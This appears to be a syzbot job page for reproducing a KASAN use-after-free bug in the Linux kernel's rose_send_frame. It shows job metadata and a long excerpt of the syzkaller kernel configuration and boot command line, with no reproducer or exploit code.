syzbot


ID Workflow Result Correct Bug Created Started Finished Revision Error
7452d137-91c9-4c44-8125-cb1a0d131a1c repro-c Reproduced: βœ… ❓ KASAN: slab-use-after-free Write in rose_send_frame 2026/05/26 10:35 2026/05/26 10:46 2026/05/26 12:01 c69befb30ac10e158cc9d1557b508ee3f0eca1de

			
		
Agent: prod-syz-agent-3
External Bug ID: ---

Inputs:
BaseBranch master
BaseCommit RC
BaseRepository git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
BugTitle KASAN: slab-use-after-free Write in rose_send_frame
CrashLogID 5929726981439488
CrashReportID 6679206022348800
KernelCommit 7aaa8047eafd0bd628065b15757d9b48c5f9c07d
KernelConfig
Show (279898 bytes)
#
# Automatically generated file; DO NOT EDIT.
# Linux/x86_64 syzkaller Kernel Configuration
#
CONFIG_CC_VERSION_TEXT="gcc (Debian 14.2.0-19) 14.2.0"
CONFIG_CC_IS_GCC=y
CONFIG_GCC_VERSION=140200
CONFIG_CLANG_VERSION=0
CONFIG_AS_IS_GNU=y
CONFIG_AS_VERSION=24400
CONFIG_LD_IS_BFD=y
CONFIG_LD_VERSION=24400
CONFIG_LLD_VERSION=0
CONFIG_RUSTC_VERSION=109101
CONFIG_RUST_IS_AVAILABLE=y
CONFIG_RUSTC_LLVM_VERSION=210102
CONFIG_CC_CAN_LINK=y
CONFIG_CC_HAS_ASM_GOTO_OUTPUT=y
CONFIG_CC_HAS_ASM_GOTO_TIED_OUTPUT=y
CONFIG_TOOLS_SUPPORT_RELR=y
CONFIG_CC_HAS_ASM_INLINE=y
CONFIG_CC_HAS_ASSUME=y
CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y
CONFIG_LD_CAN_USE_KEEP_IN_OVERLAY=y
CONFIG_RUSTC_HAS_SLICE_AS_FLATTENED=y
CONFIG_RUSTC_HAS_COERCE_POINTEE=y
CONFIG_RUSTC_HAS_SPAN_FILE=y
CONFIG_RUSTC_HAS_UNNECESSARY_TRANSMUTES=y
CONFIG_RUSTC_HAS_FILE_WITH_NUL=y
CONFIG_RUSTC_HAS_FILE_AS_C_STR=y
CONFIG_PAHOLE_VERSION=130
CONFIG_CONSTRUCTORS=y
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_TABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
# CONFIG_COMPILE_TEST is not set
# CONFIG_WERROR is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_BUILD_SALT=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_HAVE_KERNEL_ZSTD=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
# CONFIG_KERNEL_ZSTD is not set
CONFIG_DEFAULT_INIT=""
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_WATCH_QUEUE=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_AUDIT=y
CONFIG_HAVE_ARCH_AUDITSYSCALL=y
CONFIG_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_GENERIC_IRQ_MIGRATION=y
CONFIG_HARDIRQS_SW_RESEND=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y
CONFIG_GENERIC_IRQ_RESERVATION_MODE=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
# CONFIG_GENERIC_IRQ_DEBUGFS is not set
# end of IRQ subsystem

CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_INIT=y
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_CONTEXT_TRACKING=y
CONFIG_CONTEXT_TRACKING_IDLE=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ_FULL is not set
CONFIG_CONTEXT_TRACKING_USER=y
# CONFIG_CONTEXT_TRACKING_USER_FORCE is not set
CONFIG_NO_HZ=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=125
CONFIG_POSIX_AUX_CLOCKS=y
# end of Timers subsystem

CONFIG_BPF=y
CONFIG_HAVE_EBPF_JIT=y
CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y

#
# BPF subsystem
#
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
# CONFIG_BPF_JIT_ALWAYS_ON is not set
CONFIG_BPF_JIT_DEFAULT_ON=y
# CONFIG_BPF_UNPRIV_DEFAULT_OFF is not set
CONFIG_BPF_PRELOAD=y
CONFIG_BPF_PRELOAD_UMD=y
CONFIG_BPF_LSM=y
# end of BPF subsystem

CONFIG_PREEMPT_BUILD=y
CONFIG_ARCH_HAS_PREEMPT_LAZY=y
CONFIG_PREEMPT=y
# CONFIG_PREEMPT_LAZY is not set
# CONFIG_PREEMPT_RT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_PREEMPTION=y
CONFIG_PREEMPT_DYNAMIC=y
CONFIG_SCHED_CORE=y

#
# CPU/Task time and stats accounting
#
CONFIG_VIRT_CPU_ACCOUNTING=y
# CONFIG_TICK_CPU_ACCOUNTING is not set
CONFIG_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_SCHED_AVG_IRQ=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_PSI=y
# CONFIG_PSI_DEFAULT_DISABLED is not set
# end of CPU/Task time and stats accounting

CONFIG_CPU_ISOLATION=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
CONFIG_PREEMPT_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_TREE_SRCU=y
CONFIG_TASKS_RCU_GENERIC=y
CONFIG_NEED_TASKS_RCU=y
CONFIG_TASKS_RCU=y
CONFIG_TASKS_TRACE_RCU=y
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_NEED_SEGCBLIST=y
# end of RCU Subsystem

CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_IKHEADERS is not set
CONFIG_LOG_BUF_SHIFT=18
CONFIG_LOG_CPU_MAX_BUF_SHIFT=12
# CONFIG_PRINTK_INDEX is not set
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y

#
# Scheduler features
#
# CONFIG_UCLAMP_TASK is not set
# CONFIG_SCHED_PROXY_EXEC is not set
# end of Scheduler features

CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y
CONFIG_CC_HAS_INT128=y
CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5"
CONFIG_GCC10_NO_ARRAY_BOUNDS=y
CONFIG_CC_NO_ARRAY_BOUNDS=y
CONFIG_GCC_NO_STRINGOP_OVERFLOW=y
CONFIG_CC_NO_STRINGOP_OVERFLOW=y
CONFIG_ARCH_SUPPORTS_INT128=y
CONFIG_NUMA_BALANCING=y
CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y
CONFIG_SLAB_OBJ_EXT=y
CONFIG_CGROUPS=y
CONFIG_PAGE_COUNTER=y
# CONFIG_CGROUP_FAVOR_DYNMODS is not set
CONFIG_MEMCG=y
CONFIG_MEMCG_V1=y
CONFIG_BLK_CGROUP=y
CONFIG_CGROUP_WRITEBACK=y
CONFIG_CGROUP_SCHED=y
CONFIG_GROUP_SCHED_WEIGHT=y
CONFIG_GROUP_SCHED_BANDWIDTH=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_SCHED_MM_CID=y
CONFIG_CGROUP_PIDS=y
CONFIG_CGROUP_RDMA=y
# CONFIG_CGROUP_DMEM is not set
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_HUGETLB=y
CONFIG_CPUSETS=y
# CONFIG_CPUSETS_V1 is not set
CONFIG_CGROUP_DEVICE=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_CGROUP_PERF=y
# CONFIG_CGROUP_BPF is not set
CONFIG_CGROUP_MISC=y
CONFIG_CGROUP_DEBUG=y
CONFIG_SOCK_CGROUP_DATA=y
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_TIME_NS=y
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_CHECKPOINT_RESTORE=y
# CONFIG_SCHED_AUTOGROUP is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_RD_LZ4=y
CONFIG_RD_ZSTD=y
# CONFIG_BOOT_CONFIG is not set
CONFIG_CMDLINE_LOG_WRAP_IDEAL_LEN=1021
CONFIG_INITRAMFS_PRESERVE_MTIME=y
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_LD_ORPHAN_WARN=y
CONFIG_LD_ORPHAN_WARN_LEVEL="warn"
CONFIG_SYSCTL=y
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_EXPERT=y
CONFIG_UID16=y
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_FHANDLE=y
CONFIG_POSIX_TIMERS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
# CONFIG_BASE_SMALL is not set
CONFIG_FUTEX=y
CONFIG_FUTEX_PI=y
CONFIG_FUTEX_PRIVATE_HASH=y
CONFIG_FUTEX_MPOL=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_IO_URING=y
CONFIG_IO_URING_MOCK_FILE=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_MEMBARRIER=y
CONFIG_KCMP=y
CONFIG_RSEQ=y
# CONFIG_RSEQ_SLICE_EXTENSION is not set
# CONFIG_RSEQ_STATS is not set
# CONFIG_RSEQ_DEBUG_DEFAULT_ENABLE is not set
CONFIG_CACHESTAT_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_SELFTEST is not set
CONFIG_KALLSYMS_ALL=y
CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y
CONFIG_ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_GUEST_PERF_EVENTS=y
CONFIG_PERF_GUEST_MEDIATED_PMU=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
# end of Kernel Performance Events And Counters

CONFIG_SYSTEM_DATA_VERIFICATION=y
CONFIG_PROFILING=y
# CONFIG_RUST is not set
CONFIG_TRACEPOINTS=y

#
# Kexec and crash features
#
CONFIG_CRASH_RESERVE=y
CONFIG_VMCORE_INFO=y
CONFIG_KEXEC_CORE=y
CONFIG_KEXEC=y
# CONFIG_KEXEC_FILE is not set
# CONFIG_KEXEC_JUMP is not set
CONFIG_CRASH_DUMP=y
CONFIG_CRASH_HOTPLUG=y
CONFIG_CRASH_MAX_MEMORY_RANGES=8192
# end of Kexec and crash features

#
# Live Update and Kexec HandOver
#
# CONFIG_KEXEC_HANDOVER is not set
# end of Live Update and Kexec HandOver
# end of General setup

CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=28
CONFIG_ARCH_MMAP_RND_BITS_MAX=32
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_CSUM=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_AUDIT_ARCH=y
CONFIG_KASAN_SHADOW_OFFSET=0xdffffc0000000000
CONFIG_HAVE_INTEL_TXT=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=5

#
# Processor type and features
#
CONFIG_SMP=y
CONFIG_X86_X2APIC=y
# CONFIG_X86_POSTED_MSI is not set
CONFIG_X86_MPPARSE=y
# CONFIG_X86_CPU_RESCTRL is not set
CONFIG_X86_FRED=y
CONFIG_X86_EXTENDED_PLATFORM=y
# CONFIG_X86_NUMACHIP is not set
# CONFIG_X86_VSMP is not set
# CONFIG_X86_INTEL_MID is not set
# CONFIG_X86_GOLDFISH is not set
# CONFIG_X86_INTEL_LPSS is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_IOSF_MBI=y
# CONFIG_IOSF_MBI_DEBUG is not set
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
CONFIG_HYPERVISOR_GUEST=y
CONFIG_PARAVIRT=y
CONFIG_PARAVIRT_SPINLOCKS=y
CONFIG_X86_HV_CALLBACK_VECTOR=y
# CONFIG_XEN is not set
CONFIG_KVM_GUEST=y
CONFIG_ARCH_CPUIDLE_HALTPOLL=y
CONFIG_PVH=y
# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set
CONFIG_PARAVIRT_CLOCK=y
# CONFIG_JAILHOUSE_GUEST is not set
# CONFIG_ACRN_GUEST is not set
# CONFIG_BHYVE_GUEST is not set
CONFIG_CC_HAS_MARCH_NATIVE=y
# CONFIG_X86_NATIVE_CPU is not set
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_TSC=y
CONFIG_X86_HAVE_PAE=y
CONFIG_X86_CX8=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_IA32_FEAT_CTL=y
CONFIG_X86_VMX_FEATURE_NAMES=y
CONFIG_PROCESSOR_SELECT=y
CONFIG_BROADCAST_TLB_FLUSH=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
# CONFIG_CPU_SUP_HYGON is not set
# CONFIG_CPU_SUP_CENTAUR is not set
# CONFIG_CPU_SUP_ZHAOXIN is not set
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
# CONFIG_GART_IOMMU is not set
CONFIG_BOOT_VESA_SUPPORT=y
# CONFIG_MAXSMP is not set
CONFIG_NR_CPUS_RANGE_BEGIN=2
CONFIG_NR_CPUS_RANGE_END=512
CONFIG_NR_CPUS_DEFAULT=64
CONFIG_NR_CPUS=8
CONFIG_SCHED_MC_PRIO=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_ACPI_MADT_WAKEUP=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y
CONFIG_X86_MCE=y
# CONFIG_X86_MCELOG_LEGACY is not set
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_AMD=y
CONFIG_X86_MCE_THRESHOLD=y
# CONFIG_X86_MCE_INJECT is not set

#
# Performance monitoring
#
CONFIG_PERF_EVENTS_INTEL_UNCORE=y
CONFIG_PERF_EVENTS_INTEL_RAPL=y
CONFIG_PERF_EVENTS_INTEL_CSTATE=y
# CONFIG_PERF_EVENTS_AMD_POWER is not set
CONFIG_PERF_EVENTS_AMD_UNCORE=y
# CONFIG_PERF_EVENTS_AMD_BRS is not set
# end of Performance monitoring

CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_X86_VSYSCALL_EMULATION=y
CONFIG_X86_IOPL_IOPERM=y
CONFIG_MICROCODE=y
# CONFIG_MICROCODE_LATE_LOADING is not set
# CONFIG_MICROCODE_DBG is not set
CONFIG_X86_MSR=y
CONFIG_X86_CPUID=y
CONFIG_X86_DIRECT_GBPAGES=y
# CONFIG_X86_CPA_STATISTICS is not set
CONFIG_NUMA=y
CONFIG_AMD_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SHIFT=6
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
# CONFIG_ARCH_MEMORY_PROBE is not set
CONFIG_ARCH_PROC_KCORE_TEXT=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
# CONFIG_X86_PMEM_LEGACY is not set
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_MTRR=y
# CONFIG_MTRR_SANITIZER is not set
CONFIG_X86_PAT=y
CONFIG_X86_UMIP=y
CONFIG_CC_HAS_IBT=y
CONFIG_X86_CET=y
CONFIG_X86_KERNEL_IBT=y
CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y
CONFIG_ARCH_PKEY_BITS=4
# CONFIG_X86_INTEL_TSX_MODE_OFF is not set
CONFIG_X86_INTEL_TSX_MODE_ON=y
# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set
CONFIG_X86_SGX=y
CONFIG_X86_USER_SHADOW_STACK=y
# CONFIG_INTEL_TDX_HOST is not set
# CONFIG_EFI is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
CONFIG_SCHED_HRTICK=y
CONFIG_ARCH_SUPPORTS_KEXEC=y
CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y
CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y
CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y
CONFIG_ARCH_SUPPORTS_KEXEC_HANDOVER=y
CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y
CONFIG_ARCH_DEFAULT_CRASH_DUMP=y
CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y
CONFIG_ARCH_HAS_GENERIC_CRASHKERNEL_RESERVATION=y
CONFIG_PHYSICAL_START=0x1000000
# CONFIG_RELOCATABLE is not set
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_HOTPLUG_CPU=y
# CONFIG_COMPAT_VDSO is not set
CONFIG_LEGACY_VSYSCALL_XONLY=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="earlyprintk=serial net.ifnames=0 sysctl.kernel.hung_task_all_cpu_backtrace=1 ima_policy=tcb nf-conntrack-ftp.ports=20000 nf-conntrack-tftp.ports=20000 nf-conntrack-sip.ports=20000 nf-conntrack-irc.ports=20000 nf-conntrack-sane.ports=20000 binder.debug_mask=0 rcupdate.rcu_expedited=1 rcupdate.rcu_cpu_stall_cputime=1 no_hash_pointers page_owner=on sysctl.vm.nr_hugepages=4 sysctl.vm.nr_overcommit_hugepages=4 secretmem.enable=1 sysctl.max_rcu_stall_to_panic=1 msr.allow_writes=off coredump_filter=0xffff root=/dev/sda console=ttyS0 vsyscall=native numa=fake=2 kvm-intel.nested=1 spec_store_bypass_disable=prctl nopcid vivid.n_devs=64 vivid.multiplanar=1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2 netrom.nr_ndevs=32 rose.rose_ndevs=32 smp.csd_lock_timeout=100000 watchdog_thresh=55 workqueue.watchdog_thresh=140 sysctl.net.core.netdev_unregister_timeout_secs=140 dummy_hcd.num=32 max_loop=32 nbds_max=32 comedi.comedi_num_legacy_minors=4 panic_on_warn=1"
# CONFIG_CMDLINE_OVERRIDE is not set
CONFIG_MODIFY_LDT_SYSCALL=y
# CONFIG_STRICT_SIGALTSTACK_SIZE is not set
CONFIG_HAVE_LIVEPATCH=y
CONFIG_HAVE_KLP_BUILD=y
CONFIG_X86_BUS_LOCK_DETECT=y
# end of Processor type and features

CONFIG_CC_HAS_NAMED_AS=y
CONFIG_CC_HAS_NAMED_AS_FIXED_SANITIZERS=y
CONFIG_USE_X86_SEG_SUPPORT=y
CONFIG_CC_HAS_SLS=y
CONFIG_CC_HAS_RETURN_THUNK=y
CONFIG_CC_HAS_ENTRY_PADDING=y
CONFIG_FUNCTION_PADDING_CFI=11
CONFIG_FUNCTION_PADDING_BYTES=16
CONFIG_CALL_PADDING=y
CONFIG_HAVE_CALL_THUNKS=y
CONFIG_CALL_THUNKS=y
CONFIG_PREFIX_SYMBOLS=y
CONFIG_CPU_MITIGATIONS=y
CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y
CONFIG_MITIGATION_RETPOLINE=y
CONFIG_MITIGATION_RETHUNK=y
CONFIG_MITIGATION_UNRET_ENTRY=y
CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y
# CONFIG_CALL_THUNKS_DEBUG is not set
CONFIG_MITIGATION_IBPB_ENTRY=y
CONFIG_MITIGATION_IBRS_ENTRY=y
CONFIG_MITIGATION_SRSO=y
# CONFIG_MITIGATION_SLS is not set
CONFIG_MITIGATION_GDS=y
CONFIG_MITIGATION_RFDS=y
CONFIG_MITIGATION_SPECTRE_BHI=y
CONFIG_MITIGATION_MDS=y
CONFIG_MITIGATION_TAA=y
CONFIG_MITIGATION_MMIO_STALE_DATA=y
CONFIG_MITIGATION_L1TF=y
CONFIG_MITIGATION_RETBLEED=y
CONFIG_MITIGATION_SPECTRE_V1=y
CONFIG_MITIGATION_SPECTRE_V2=y
CONFIG_MITIGATION_SRBDS=y
CONFIG_MITIGATION_SSB=y
CONFIG_MITIGATION_ITS=y
CONFIG_MITIGATION_TSA=y
# CONFIG_MITIGATION_VMSCAPE is not set
CONFIG_ARCH_HAS_ADD_PAGES=y

#
# Power management and ACPI options
#
CONFIG_ARCH_HIBERNATION_HEADER=y
CONFIG_SUSPEND=y
CONFIG_SUSPEND_FREEZER=y
# CONFIG_SUSPEND_SKIP_SYNC is not set
CONFIG_HIBERNATE_CALLBACKS=y
CONFIG_HIBERNATION=y
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HIBERNATION_COMP_LZO=y
# CONFIG_HIBERNATION_COMP_LZ4 is not set
CONFIG_HIBERNATION_DEF_COMP="lzo"
CONFIG_PM_STD_PARTITION=""
CONFIG_PM_SLEEP=y
CONFIG_PM_SLEEP_SMP=y
# CONFIG_PM_AUTOSLEEP is not set
# CONFIG_PM_USERSPACE_AUTOSLEEP is not set
# CONFIG_PM_WAKELOCKS is not set
# CONFIG_PM_QOS_CPU_SYSTEM_WAKEUP is not set
CONFIG_PM=y
CONFIG_PM_DEBUG=y
# CONFIG_PM_ADVANCED_DEBUG is not set
# CONFIG_PM_TEST_SUSPEND is not set
CONFIG_PM_SLEEP_DEBUG=y
# CONFIG_DPM_WATCHDOG is not set
CONFIG_PM_TRACE=y
CONFIG_PM_TRACE_RTC=y
CONFIG_PM_CLK=y
# CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set
# CONFIG_ENERGY_MODEL is not set
CONFIG_ARCH_SUPPORTS_ACPI=y
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
CONFIG_ACPI_THERMAL_LIB=y
# CONFIG_ACPI_DEBUGGER is not set
CONFIG_ACPI_SPCR_TABLE=y
# CONFIG_ACPI_FPDT is not set
CONFIG_ACPI_LPIT=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
CONFIG_ACPI_EC=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_VIDEO=y
CONFIG_ACPI_FAN=y
# CONFIG_ACPI_TAD is not set
CONFIG_ACPI_DOCK=y
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_CPPC_LIB=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_HOTPLUG_CPU=y
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_PLATFORM_PROFILE=y
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_DEBUG=y
# CONFIG_ACPI_PCI_SLOT is not set
CONFIG_ACPI_CONTAINER=y
# CONFIG_ACPI_HOTPLUG_MEMORY is not set
CONFIG_ACPI_HOTPLUG_IOAPIC=y
# CONFIG_ACPI_SBS is not set
# CONFIG_ACPI_HED is not set
# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set
CONFIG_ACPI_NHLT=y
CONFIG_ACPI_NFIT=y
# CONFIG_NFIT_SECURITY_DEBUG is not set
CONFIG_ACPI_NUMA=y
# CONFIG_ACPI_HMAT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
# CONFIG_ACPI_DPTF is not set
# CONFIG_ACPI_EXTLOG is not set
# CONFIG_ACPI_CONFIGFS is not set
# CONFIG_ACPI_PFRUT is not set
CONFIG_ACPI_PCC=y
# CONFIG_ACPI_FFH is not set
CONFIG_ACPI_MRRM=y
CONFIG_PMIC_OPREGION=y
CONFIG_BXT_WC_PMIC_OPREGION=y
# CONFIG_CHT_WC_PMIC_OPREGION is not set
CONFIG_X86_PM_TIMER=y

#
# CPU Frequency scaling
#
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_GOV_ATTR_SET=y
CONFIG_CPU_FREQ_GOV_COMMON=y
# CONFIG_CPU_FREQ_STAT is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_GOV_USERSPACE=y
CONFIG_CPU_FREQ_GOV_ONDEMAND=y
# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set
CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y

#
# CPU frequency scaling drivers
#
# CONFIG_CPUFREQ_DT is not set
